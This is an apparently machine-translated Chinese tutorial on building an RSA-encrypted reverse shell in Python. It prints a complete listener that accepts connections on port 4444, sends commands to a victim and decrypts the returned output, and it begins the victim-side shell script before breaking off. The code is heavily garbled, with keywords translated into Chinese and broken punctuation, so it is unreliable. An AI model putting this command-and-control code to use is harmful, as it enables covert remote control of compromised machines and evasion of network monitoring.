本篇内容主要讲解”如何使用RSA加密在Python中逆向壳”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习”如何使用RSA加密在Python中逆向壳”吧!
使用RSA加密在Python中逆向壳牌
首先,我们需要一个侦听器来处理所有传入的连接。这是listener_rsa.py的代码
# !/usr/bin/pythonfrom Crypto.PublicKey import RSAfrom Crypto import Randomfrom Crypto.Hash import SHA256import socketfrom thread import * import sysimport 泡菜# Generate public key 以及private keyrandom_generator =, Random.new .read () 时间=key RSA.generate (2048, random_generator) 时间=public_key key.publickey () # Create socket 以及bind 用accept connectionss =, socket.socket (socket.AF_INET, socket.SOCK_STREAM)试题: ,,,s.bind ((“0.0.0.0",, 4444)) except socket.error,, v: ,,,print “Binding 失败只Error code ,:,“, +, str (v [0]), +,“, Message “, +, v [1] ,,,sys.exit ()
print “Socket bind complete" s.listen (2) print “[+], Listening 用,incoming connection 提醒port 4444…“def clientthread_sendpublickey(客户端),:,,,,client.send (pickle.dumps (public_key)) def clienthandle(客户端),:,,,,while True : ,,,,,,,command =, raw_input (~ $ & # 39; & # 39;) ,,,,,,,client.send(命令) ,,,,,,,if command ==, & # 39;退出# 39;,: ,,,,,,,,,,break ,,,,,,, buf =, client.recv (2048) ,,,,,,,encreply =, pickle.loads (buf) ,,,,,,,print key.decrypt (encreply) while 正确的: ,,,(客户,,(ip,端口)),=,s.accept () ,,,print “Received connection 得到:,“,ip ,,,start_new_thread (clientthread_sendpublickey,,(客户)) ,,,print “Public Key sent to" ip start_new_thread(clienthandle, (client,))
我在Python中使用PyCrypto模块进行加密。 继续安装它。 我建议使用pip来安装模块。
$ sudo pip install pycrypto
在我们进入代码之前,让我向你解释一下RSA加密及其密钥。 RSA是一种非对称加密标准。 它有两个键,公共和私有。 简单来说,公钥用于加密消息,私钥用于解密。 下面是描述该过程的框图
如果你对RSA的数学工作感兴趣,那么我建议你阅读http://mathworld.wolfram.com/RSAEncryption.html(当心,仅限极客)
在上面的程序中,首先生成密钥,该密钥也是私钥。
key = RSA.generate(2048, random_generator)
函数RSA.generate有两个参数,第一个是以位为单位的密钥的大小,第二个是通常使用python随机函数生成的随机数。 在创建私钥之后,从中提取公钥并将其存储在变量中以供将来使用。
public_key = key.publickey()
使用套接字模块创建套接字,这相对简单。 你可以参考Python套接字1的官方文档,甚至可以进行简单的Google搜索。
套接字绑定并等待连接传入连接。
注 - 如果要将Linux中的套接字绑定到小于1024的端口,则必须以root身份执行该脚本。
当收到连接时,初始化新线程以将生成的公钥发送到客户端,以便它可以加密回复。
def clientthread_sendpublickey(client) :client.send(pickle.dumps(public_key))
我们为什么要用Pickle? Pickle用于序列化和反序列化python对象。 由于public_key不是常规字符串,因此必须对其进行pickle,然后将其发送到接收方。
警告 - pickle模块不能防止错误或恶意构造的数据。 切勿取消从不受信任或未经身份验证的来源收到的数据。
一旦发送了公钥,另一个线程clienthandle(客户端)被初始化为True:loop,它发送给接收者的命令。 接收器运行命令并使用公钥加密输出。 然后将输出的pickle发送给监听器。
回复是unpickled,使用私钥解密并打印在屏幕上。
encreply = pickle.loads(buf)print key.decrypt(encreply)
如果给出'quit'命令,则终止连接。
反向shell
让我们转到反向shell所在的接收器端。 reverse_shell_rsa的脚本如下所示
#!/usr/bin/pythonimport socket, subprocess, sys 得到Crypto.PublicKey import  RSA 得到Crypto.Hash import SHA256import 泡菜如何使用RSA加密在Python中逆向壳